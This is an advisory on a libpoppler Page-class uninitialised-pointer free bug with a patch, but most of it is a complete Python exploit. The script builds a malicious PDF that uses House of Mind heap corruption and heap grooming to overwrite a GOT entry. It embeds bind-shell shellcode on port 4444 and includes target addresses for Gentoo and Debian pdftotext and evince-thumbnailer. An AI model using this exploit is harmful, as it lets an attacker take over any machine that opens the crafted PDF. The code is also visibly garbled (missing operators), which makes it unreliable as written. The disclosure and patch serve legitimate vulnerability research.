##########################################################################
#### Felipe Andres Manzano * fmanzano@fceia.unr.edu.ar ####
#### updates in http://felipe.andres.manzano.googlepages.com/home ####
##########################################################################
\’\’\’
Sumary:
=======
The libpoppler pdf rendering library, can free uninitialized pointers,
leading to arbitrary code execution. This vulnerability results from
memory management bugs in the Page class constructor/destructor.
Technical Description – Exploit/Concept Code:
=============================================
Tests were performed using libpoppler util pdftotext taken from
git://git.freedesktop.org/git/poppler/poppler.
Other version where tried succesfully (the ones shiped with
debian/gentoo).
In the initialization of a Page object and under certain conditions a
member object skips initialization, but then is eventualy deleted. This
can be conducted to the situation in which an arbitrary pointer is
passed to the libc free and so the it gets apropiate for the malloc
maleficarum to enter the scene.
Look at the Page class constructor on Page.cc:231. First at the begining
of the function the member object pageWidgets isnt initialized then it
tries to check if the type of the annotations proposed on the pdf file
ar correct; if not it bails out to the label err2. Note that is some
incorcondance on the type of the anotation arise the member variable
pageWidgets is never initialized!
Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) {
Object tmp;
[…]
// annotations
pageDict->lookupNF("Annots", &annots);
if (!(annots.isRef() || annots.isArray() || annots.isNull())) {
error(-1, "Page annotations object (page %d) is wrong type (%s)",
num, annots.getTypeName());
annots.free();
goto err2;
}
// forms
pageWidgets = new FormPageWidgets(xrefA, this->getAnnots(&tmp),num,form);
tmp.free();
[…]
err2:
annots.initNull();
err1:
contents.initNull();
ok = gFalse;
}
But in the Page class destructor, Page.cc:309, pageWidgets is deleted
without any consideration. The Page destructor is inmediatelly called
after the erroneous Page construction.
Page::~Page() {
delete pageWidgets;
delete attrs;
annots.free();
contents.free();
}
It is worth mentioning that the pdf rendering scenario is friendly with
the heap massage technics because you will find lots of ways to allocate
or allocate/free memory in the already probided functionality. In the
POC I have used repetidely the \’name\’ of the fields of a pdf dictionary
to allocate memory. Each name allocates up to 127bytes and apparently
there is no limit in the number of fields.
The following excerpt is a sample verification of the existence of
the problem :
localhost expl-poppler # python poppler-exploit-rc8.py gentoo-pdftotext >test.pdf
localhost expl-poppler # pdftotext test.pdf
Error: PDF file is damaged – attempting to reconstruct xref table…
Error: Annotation rectangle is wrong type
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Page annotations object (page 3) is wrong type (integer)
Error: Page count in top-level pages object is incorrect
Error: Couldnt read page catalog
Trace/breakpoint trap
🙂
Further research should be done to accomodate the heap for other applications like evince:
localhost expl-poppler # evince test.pdf
(evince:8912): GnomeUI-WARNING **: While connecting to session manager:
Authentication Rejected, reason : None of the authentication protocols specified are supported and host-based authentication failed.
** (evince:8912): WARNING **: Service registration failed.
** (evince:8912): WARNING **: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
Error: PDF file is damaged – attempting to reconstruct xref table…
Error: Annotation rectangle is wrong type
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Page annotations object (page 3) is wrong type (integer)
*** glibc detected *** evince: munmap_chunk(): invalid pointer: 0x08100468 ***
Note that 0x08100468 is still a provided pointer. But in this try some
malloc structure like _heap_info (see. house of mind) is not correctly
aligned any more. Maybe evince-thumbnailer which is (probably
monothreaded) is an easier target.
Patch
=====
diff –git a/poppler/Page.cc b/poppler/Page.cc
index b28a3ee..72a706b 100644
— a/poppler/Page.cc
b/poppler/Page.cc
@@ -230,7 230,7 @@ GBool PageAttrs::readBox(Dict *dict, char *key, PDFRectangle *box) {
Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) {
Object tmp;
–
pageWidgets = NULL; //Security fix
ok = gTrue;
xref = xrefA;
num = numA;
POC:
===
Written in pyploit. It can be used 2 ways , one selecting a preconfigured
target like *gentoo-pdftotext* or the other in which you could pass some
malloc/free execution trace moddifing parameters.
\’\’\’
import struct
import struct
import math
import os
import sys
## print "%.400f"%d wont work 🙁 … so a quick double printing class
class Doubles:
def __init__(self, precision=400):
self.precision=precision
def pdficateint(self,i1,i2):
s = struct.pack("@L",i1) struct.pack("@L",i2)
return self.pdficatestr(s)
def pdficate(self,s):
rslt = " "
for pos in range (0,len(s)/8):
rslt =self.pdficatestr(s[(pos*8):(pos*8) 8]) " "
return rslt;
def pdficatestr(self, s):
d = struct.unpack("d",s)[0]
rslt=" "
if(d<0.0):
rslt ="-"
d=-d
rslt ="%d."%int(math.floor(d))
myd=math.floor(d)
scale=0.1
nines=0
for p in range(1,self.precision):
for i in range(1,10):
if (myd scale*i) > d:
i-=1
break
if i==9:
if nines>6:
return rslt
else:
nines =1
else:
nines=0
rslt =("d"%i)[1]
myd =scale* i
scale=scale*0.1
return rslt
##From Malloc maleficarum
##http://packetstormsecurity.org/papers/attack/MallocMaleficarum.txt
class HouseOfMind:
HEAP_MAX_SIZE=(1024*1024)
JMP=\’\\xeb\’
NOP=\’\\x90\’
PAD=\’\\x00\’
PREV_INUSE=0x1
IS_MMAPPED=0x2
NON_MAIN_ARENA=0x4
def __init__(self, base, where, payload, entrypoint):
self.base=base
self.where=where-0xc
self.heap_info = (base self.HEAP_MAX_SIZE-1)& ~(self.HEAP_MAX_SIZE-1)
self.payload=payload
self.entrypoint=entrypoint
self.chunkaddress=0
if (self.entrypoint > 0xff – 8):
throw
## lendian, 32bit only
## See The Malloc Maleficarum / House of Mind
def mind(self):
rslt = ""
#first we add padding to reach the next Heap border
rslt =self.PAD*(self.heap_info-self.base)
#now we add a _heap_info pinting to a malloc_state of our own
#and dictating a generous size for this *heap*
##arena.c:59 //struct _heap_info
rslt = struct.pack("<L", self.heap_info 16) # Arena for this heap.
rslt = struct.pack("<L", 0x0000000) # Previous heap. (BUG: Don\’t know what M does with this)
rslt = struct.pack("<L", 0x7000000) # Current size in bytes.
rslt = struct.pack("<L", 0x7000000) # Size in bytes that has been mprotected PROT_READ|PROT_WRITE
#here arena.c suggest some padding. We just don\’t do it.
#now we add the malloc_state of our own
##malloc.c:2317 //struct malloc_state
rslt = struct.pack("<L", 0x00000000) # mutex for serializing access * 0 -> unlocked.
rslt = struct.pack("<L", 0x000ffff) # Flags * We need NONCONTIGUOUS_BIT to be on for passing
# condition on malloc.c:@@@@@
#Note: We assume not Thread\’s stats#
rslt = struct.pack("<L", 0x00000000)*10 #Fastbins * We don use them.
rslt = struct.pack("<L", 0x00000000) #Base of the topmost chunk–not otherwise kept in a bin
#We need it to be different to our chunk pointer for
#passing condition on malloc.c:@@@@, 0 is safe enough
rslt = struct.pack("<L", 0x00000000) #The remainder from the most recent split of a small request
#Here it come the bins
##The first one is the Unsorted bin!
##Free will write the *chunk* to the containing address 0xc; so it
##shout point to the GOT pointer to \’overload\’ -0xc
rslt = struct.pack("<L", self.where);
rslt = struct.pack("<L", 0x0000000)* 253 #All the other unused bins go to 0 * ~
rslt = struct.pack("<L", 0x00000000)*4 #Bitmap of bins
rslt = struct.pack("<L", 0x00000000) #Linked list next malloc_state
##Memory allocated from the system in this arena.
rslt = struct.pack("<L", 0x70000000) #system_mem * Need to be big enough for passing the
#condition on malloc:@@@@
rslt = struct.pack("<L", 0x00000000) #max_system_mem ??
#needed for chunk aligment
rslt = self.PAD*4
#CHUNKS
# An allocated chunk looks like this:
#
# chunk-> – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –
# | Size of previous chunk, if allocated | |
# – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –
# | Size of chunk, in bytes |M|P|
# mem-> – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –
# | User data starts here… .
# . .
# . (malloc_usable_size() bytes) .
# . |
#nextchunk-> – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –
# | Size of chunk |
# – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –
#chunk 0 There isn\’t a single reason for this to exist * wabaaaaaaaaaa!
# rslt = struct.pack("<L", 16) #Size of previous chunk * UNUSED
# rslt = struct.pack("<L", 64) #Size of chunk, in bytes. No flags
# rslt = self.PAD*(64-8)
#chunk 1 THE CHAMP
rslt = "\\x40" self.JMP struct.pack("B",5 self.entrypoint) self.PAD #Size of previous chunk *DOESN\’T MATTER!
rslt = struct.pack("<L",8 len(self.payload)|self.PREV_INUSE|self.NON_MAIN_ARENA) # Size of this chunk
#TODO: Explain flags, link code
##Save the chunk1 address
self.chunkaddress= self.base len(rslt)
rslt = self.payload #payload (payload[entrypoint] should contain shellcode)!
#chunk 2 THE LAST?
rslt = struct.pack("<L",8 len(self.payload)) #Size of previous chunk
#TODO: link where it is checked
rslt = struct.pack("<L",64|self.PREV_INUSE|self.NON_MAIN_ARENA) #Size of this chunk
#Neds to be greater than 2 * SIZE_SZ,
#TODO: Explain flags, link code
rslt = self.PAD*(64-8)
#chunk 3 THE LAST!
rslt = struct.pack("<L",64) #Size of previous chunk
rslt = struct.pack("<L",self.PREV_INUSE) #Size of this chunk * Here we need just the PREV_INUSE bit set
return rslt
#no need no payload
#For constructing a minimal pdf file
class PDFObject:
def __init__(self,toks):
self.toks=toks
self.n=0
self.v=0
def __str__(self):
s="%d %d obj\\n"%(self.n,self.v)
for t in self.toks:
s =t.__str__()
s ="\\nendobj\\n"
return s
class PDFDict():
def __init__(self):
self.dict = []
def add(self,name,obj):
self.dict.append((name,obj))
def __str__(self):
s="<<"
for name,obj in self.dict:
s ="/%s %s\\n"%(name,obj)
s =">>"
return s
class PDFName():
def __init__(self,s):
self.s=s
def __str__(self):
return "/%s"%self.s
class PDFString():
def __init__(self,s):
self.s=s
def __str__(self):
return "(%s)"%self.s
class PDFRef():
def __init__(self,obj):
self.obj=obj
def __str__(self):
return "%d %d R"%(self.obj.n,self.obj.v)
class PDFDoc():
def __init__(self):
self.objs=[]
def add(self,obj):
obj.v=0
obj.n=1 len(self.objs)
self.objs.append(obj)
def _header(self):
return "%PDF-1.5\\n"
def __str__(self):
doc1 = "%PDF-1.5\\n"
xref = {}
for obj in self.objs:
xref[obj.n] = len(doc1)
doc1=doc1 obj.__str__()
posxref=len(doc1)
doc1 ="xref\\n"
doc1 ="0 %d\\n"%len(self.objs)
doc1 ="0000000000 65535 f\\n"
for xr in xref.keys():
doc1 = "0d d n\\n"%(xref[xr],0)
doc1 ="trailer\\n"
trailer = PDFDict()
trailer.add("Size",len(self.objs))
trailer.add("Root","2 0 R")
doc1 =trailer.__str__()
doc1 ="\\nstartxref\\n%d\\n"%posxref
doc1 ="%%EOF\\n\\n"
return doc1
#The … "POC"
class PopplerExpl:
def __init__(self,shellcode):
self.shellcode=shellcode
self.d = Doubles()
#this wraps the shellcode in an encoding supported by \’doubles\’
def wrap(self,scode,where):
wrapscode = \’\\xb8\’ struct.pack("<L",where) "\\x90"*3 #movl where, 陎;nop;nop;nop
for c in scode:
wrapscode = "\\xc6\\x00%c\\x40"%c #movb $c, (陎); inc 陎
if (len(scode)%2!=0):
wrapscode = "\\xc6\\x00\\xcc\\x40" #movb $0xcc, (陎); inc 陎
wrapscode = "\\xb8" struct.pack("<L",where) "\\x90"*3 #movl where, 陎;nop;nop;nop
wrapscode = "\\x50\\xc3" #push 陎;ret
return wrapscode \’\\x00\’*(1000-len(wrapscode)) #padding to a supported size
def make(self,base,got,massage=None):
#here we generate the house of mind thingy
#The House Of Mind instance.
#Te first word es passed tu a gfree so we put 0 so we ignore that free.
hm = HouseOfMind(base, got, "\\x00"*16 self.wrap(self.shellcode,base), 16)
mind = hm.mind()
doc = PDFDoc()
doc.add(PDFObject(["<</Length 3>>\\nstream…\\nendstream\\n"]))
catalog = PDFDict()
catalog.add("Type", PDFName("Catalog"))
catalog.add("Outlines", "3 0 R")
catalog.add("Pages", "4 0 R")
catalog.add("AcroForm", "<</Fields [ 7 0 R ]>>")
#for i in range(0,1000):
# catalog.add( "C"*82 "d"%i, 0)
outlines = PDFDict()
outlines.add("Type", PDFName("Outlines"))
outlines.add("Count",0)
pages = PDFDict()
pages.add("Type", PDFName("Pages"))
pages.add("Kids","[ 8 0 R 6 0 R 5 0 R ]")
pages.add("Count","3")
doc.add(PDFObject([catalog]))
doc.add(PDFObject([outlines]))
doc.add(PDFObject([pages]))
page1 = PDFDict()
page1.add("Type", PDFName("Page"))
page1.add("Parent", "4 0 R")
page1.add("MediaBox","[ 0 0 612 792 ]")
page1.add("Contents", "1 0 R")
page1.add("Resources", "<< /ProcSet 6 0 R >>")
page1.add("Annots", "0")
#malloc-fill-free lots of chunks of the size then used by Page class(88)
for pagesize in range(88,126):
payload = ("".join(["#x"%ord(struct.pack("@L",hm.chunkaddress)[i]) for i in range (0,4)]))*19
payload = "B"*(pagesize-(len(payload)/3))
for i in range(0,10):
page1.add(payload, 0)
doc.add(PDFObject([page1]))
page1 = PDFDict()
page1.add("Type", PDFName("Page"))
page1.add("Parent", "4 0 R")
page1.add("MediaBox","[ 0 0 612 792 ]")
page1.add("Contents", "1 0 R")
page1.add("Resources", "<< /ProcSet 6 0 R >>")
page1.add("Annots", "[7 0 R 7 0 R 7 0 R 7 0 R]")
#massage session 1
size=127
for i in range(0,massage[0]):
page1.add( "A"*(size-5) ("d"%(i)), "B"*size)
doc.add(PDFObject([page1]))
annots = PDFDict()
annots.add("Subtype","/Text")
annots.add("BS", "<</D [ "
"0 "*massage[1]
self.d.pdficate(mind)
#more massage>?
"0.0 "*massage[2] " ]>>")
annots.add("FT", "/Tx")
doc.add(PDFObject([annots]))
page1 = PDFDict()
page1.add("Type", PDFName("Page"))
page1.add("Parent", "4 0 R")
page1.add("MediaBox","[ 0 0 612 792 ]")
page1.add("Contents", "1 0 R")
page1.add("Resources", "<< /ProcSet 6 0 R >>")
page1.add("Annots", "[7 0 R]")
doc.add(PDFObject([page1]))
doc.add(PDFObject(["<<>>"]))
doc.add(PDFObject(["[ /PDF ]"]))
return doc.__str__()
##Main
## Not every shellcode will work by now
## Only the ones that taken by 8bytes form an ieee754 double presicion float
## with an exponent not too positive … 🙂
## linux_ia32_bind – LPORT=4444 Size=84 Encoder=None http://metasploit.com
scode = "\\x31\\xdb\\x53\\x43\\x53\\x6a\\x02\\x6a\\x66\\x58\\x99\\x89\\xe1\\xcd\\x80\\x96"
scode = "\\x43\\x52\\x66\\x68\\x11\\x5c\\x66\\x53\\x89\\xe1\\x6a\\x66\\x58\\x50\\x51\\x56"
scode = "\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xd1\\xe3\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\xe1"
scode = "\\xb0\\x66\\xcd\\x80\\x93\\x6a\\x02\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\xb0"
scode = "\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x53"
scode = "\\x89\\xe1\\xcd\\x80"
#expl = PopplerExpl( (\’\\xcc\’ \’\\x90\’)*((160-16)/2))
expl = PopplerExpl(scode)
targets = {
"gentoo-pdftotext":(0x08100000, 0x804c014, 1863, 20, 400),
"debian4-pdftotext":(0x08100000, 0x804bb18, 1879, 33, 400),
"gentoo-evince-thumbnailer": (0x8100000, 0x080712c4, 907, 34, 200),
}
if len( sys.argv )==1:
print "Comments -> fmanzano@fceia.unr.edu.ar"
print "Usage 1:"
print " %s "%sys.argv[0], targets.keys()
print "Usage 2:"
print " %s massage1 massage2 massage3 base got"%sys.argv[0]
print " The idea here is to align the _heap_info struct that commences with 0x08?00010 "
print " to the address 0x8?0000. For this pourpose move massage1/2/3. "
print " THIS STUPIDLY SIMPLE METHOD WOULD WORK FOR VERY FEW APPS !"
print " base is the 1024*1024 bytes aligned address to which we are trying to align everything"
print " got is the addres of the got where the thing is going to write the shellcode address"
print " BTW by now the shellcode is nop;int 3;nop…grooovy!.. NOT"
elif len( sys.argv )>2:
print expl.make(int(sys.argv[4][2:],16), int(sys.argv[5][2:],16), (int(sys.argv[1]),int(sys.argv[2]),int(sys.argv[3])))
else:
#base: the expected heap limit (08100000,08200000,….08f00000… )
#got: address of the got entry to change
#chinesse massage
base,got,massage1,massage2,massage3 = targets[sys.argv[1]]
print expl.make(base,got,(massage1,massage2,massage3))
